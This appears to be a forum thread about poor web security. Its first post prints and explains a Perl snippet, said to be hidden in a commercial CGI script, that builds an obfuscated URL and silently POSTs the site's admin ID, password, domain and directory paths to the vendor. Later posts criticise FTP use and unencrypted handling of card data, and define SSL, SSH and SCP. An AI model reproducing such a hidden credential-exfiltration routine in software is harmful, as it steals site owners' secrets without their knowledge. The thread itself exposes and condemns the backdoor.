Companies That Intentionally Code Security Breachs

[robomanusa]

As if server admins and website owners dont already have enough problems maintaining security, it gets even worse when having to deal with the script authors that think its ok to code therself a backdoor into there software generating a huge security risk.

Nothing erks me more than seeing that kind of nonsense!

heres an example

sub s{my($p,$o,$u);my(@h)=('h','t','t','p',':','/','/','w','w','w','.','r','e','m','o','v','e','d','.','c','o','m','/','c','g','i','-','b','i','n','/','a','s','s','h','o','l','e','/','u','s','e','r','s','.','c','g','i');$u=join("", @h);$p=qq!action=User_xi&ID=$Global{'Admin_UserID'}&Pass=$Global{'Admin_Password'}&Domain=$Domain&ProgName=$Global{'MainProg_Name'}&AdminName=$Global{'AdminProg_Name'}&URL= $Script_URL&BaseDir=$Global{'BaseDir'}&CGI_URL=$Global{'CGI_URL'}&HtmlDir=$Global{'HtmlDir'}&HTML_URL=$Global{'HTML_URL'}!;$p=~ s/ /%20/g;eval "use http_lib";($s,$t,$r,$z)=&HTTP_Post($u,$p,"POST");}

I have edited the above perl code a bit to hide the company name in question, but the first part of this code while a bit obfuscated(I have no idea why, like that it stands out like a sore thumb!) and with perl the ',' are relatively meaningless, that portion points to the authors website.....the second half outside the (-) is where it get dangerous for the website owner using this companies script. the second part dishes the following out to the software company that wrote the script giving them global access to every single script they have ever sold.

a) Your Admistration User ID

Your Administration Password

c) Your Domain Name

d) The Main Program Name

e) The Administrators Name

f) The Administrators Program Name

g) The URL To Your Administration Script

h) Absoloute Path To Your CGI Directory

i) The URL Of Your CGI Directory

j) Absolute Path To Your HTML Directory

k) The URL To Your HTML Directory

It does not matter how many times you cange the admin login and password its sent each and everytime you login to the scripts admin section and recorded at the offending companies website.

To me is a complete breach of privacy and security and is against the law in most places.

[Rob Boudrie]

Ok, I'll add my peeve:

Companies that think they are secure becuase the offer a SSL (https:) connection, but don't:

- Close down other ports on the server

- Maintain the site via FTP, and insecurely transmit the root password

- Allow a non-secure connection to access the credit card entry page

- Don't "harden" servers with credit card info

and then

- Pretend they have a secure sight, and try to impress you with the strength of the encryption algorithm. This is sort of like a safe company talking about how tough their door is while offering minimal resistance to entry through the side door to the safe.

[robomanusa]

Ok, I'll add my peeve:

Companies that think they are secure becuase the offer a SSL (https:) connection, but don't:

- Close down other ports on the server

- Maintain the site via FTP, and insecurely transmit the root password

- Allow a non-secure connection to access the credit card entry page

- Don't "harden" servers with credit card info

and then

- Pretend they have a secure sight, and try to impress you with the strength of the encryption algorithm.  This is sort of like a safe company talking about how tough their door is while offering minimal resistance to entry through the side door to the safe.

<{POST_SNAPBACK}>

Thats a good one

[Rob Boudrie]

It's amazing how common it is for webmasters to maintain a secure site using FTP utilizing the same password which can be used to obtain access to the credit card data.

The worst I ever saw was a site which offered "secure e-commerce services" for vendors - they accepted encrypted customer orders and then forwarded them, including credit card number , via unencrypted email, to the vendor for processing.

If you want to have fun with a supposedly "secure" vendor, you can always ask:

- Do you have any ports other than 80 and 443 open on your server?

- Do you ever use Telnet to access your system?

- Do you ever use FTP to access your system? If you do so, is the password you use via Telnet and/or FTP separate and distinct from the one used to access credit card info?

- What procedures do you use to keep up to date on security patches?

In general, the Amazons and Schwabs of this world tend to be pretty good at this sort of thing (not perfect - pretty good). The on-line vendor who is likley to offer only the illusion of security is the one which uses a canned package without understanding the more subtle issues.

USPSA does not even pretend to have the time to set up a secure server - we subcontract that aspect of our operation to companies that specialize in that sort of thing. (But, I could have easily set up a site as secure as 90+% of the small business e-commerce sites which are now out there)

[robomanusa]

You gotta love the ones that when asked if they provide SSH access to the server and there reply is...

"I dont know, whats SSH?"

[Chills1994]

for us non-computer people, what is SSH?

i still prefer to call someone on the phone when ordering anything with a credit card. i get their name or operator number just in case.

[Rob Boudrie]

for us non-computer people, what is SSH?

i still prefer to call someone on the phone when ordering anything with a credit card.  i get their name or operator number just in case.

<{POST_SNAPBACK}>

SSL - Secure Sockets Layer - this is the encryption protocol used for secure web pages (those which begin "https:" instead of "http")

SSH - Secure Shell - This allows you to log into a server using an encrypted connection/

SCP - Secure Copy - Allows you to put and get files to the server using a secure connection. The security of SSL and SSH can be reduced if you use FTP (unsecure) to maintain the content at your site instead of an encrypted communication such as SCP.